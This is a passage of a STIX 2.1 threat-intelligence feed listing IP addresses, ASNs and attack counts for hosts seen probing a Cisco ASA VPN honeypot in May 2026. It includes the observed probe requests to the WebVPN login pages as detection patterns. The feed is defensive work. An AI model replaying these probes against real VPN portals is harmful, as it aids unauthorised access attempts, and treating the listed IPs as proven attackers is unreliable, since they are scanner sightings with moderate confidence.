      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-17T06:48:33.986Z",
          "last_seen": "2026-05-23T02:02:57.295Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e9c0c37d-44c8-4d8e-bda2-3e97c72d8d66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-06T01:11:01.541Z",
          "last_seen": "2026-05-29T01:12:01.029Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6c3ea511-00b4-46ee-b2fd-7697b9e49d9c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T14:47:06.866Z",
          "last_seen": "2026-05-27T02:35:56.317Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9bf6e0fd-590f-48a5-ab10-80d52b49b750",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-06T04:24:21.143Z",
          "last_seen": "2026-05-30T11:08:20.590Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1b2863db-75be-4234-84f0-b31d7b7bf086",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T20:44:44.144Z",
          "last_seen": "2026-05-07T04:41:40.221Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c297afe7-1df9-4770-aaa5-4246e0998664",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 45,
          "first_seen": "2026-05-02T01:24:30.413Z",
          "last_seen": "2026-05-30T15:33:01.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32fa1667-8748-47ab-b202-a787eb7204cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:20:10.000Z",
      "valid_until": "2026-06-02T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T20:22:21.152Z",
          "last_seen": "2026-05-23T17:47:46.177Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--cc131b73-a10a-4761-9410-ab85ae9d7bfc",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--655a80f5-545a-49a9-99c5-679b5885ab63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T19:29:07.700Z",
          "last_seen": "2026-05-25T19:19:22.618Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--d399ddd2-0f7e-417d-b6cf-0d51f428b714",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-06T00:11:26.033Z",
          "last_seen": "2026-05-06T00:11:35.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--a9faf25b-6ef4-485f-9aa3-5ecc6c206be3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-08T21:18:28.914Z",
          "last_seen": "2026-05-29T01:33:10.526Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--968daa32-10e3-442e-88a1-7c6dca770657",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-07T03:01:13.455Z",
          "last_seen": "2026-05-29T20:05:51.264Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--84e03cda-e553-40bb-b30f-246b0a5533d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T02:01:25.460Z",
          "last_seen": "2026-05-20T18:12:18.703Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e38bc7c0-3257-4a41-ad70-19b622f1c913",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T04:54:34.341Z",
          "last_seen": "2026-05-30T15:18:24.527Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1d35f7cf-fa45-4fd3-97e1-33b783194911",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T05:46:29.507Z",
          "last_seen": "2026-05-27T23:24:49.181Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--af09a631-de88-475a-9524-536d5f18e454",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T00:57:18.498Z",
          "last_seen": "2026-05-07T03:45:09.119Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9203f10d-b7e5-4771-ad68-255076913931",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T11:42:47.944Z",
          "last_seen": "2026-05-27T23:31:35.742Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1658bc3-d18e-4d1c-b119-7820f8273391",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T05:29:21.213Z",
          "last_seen": "2026-05-29T11:14:28.236Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--308f8e2e-ceae-4c38-813e-eddde8b4dc7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-09T13:11:19.714Z",
          "last_seen": "2026-05-19T03:51:32.893Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--55b49f05-9a0b-4bd7-8141-e3e50b98fa78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-02T02:28:23.126Z",
          "last_seen": "2026-05-29T18:36:47.459Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f76cd6c9-23a8-44f4-9bf1-6c1bb8cdd193",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:20:10.000Z",
      "valid_until": "2026-06-02T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 19,
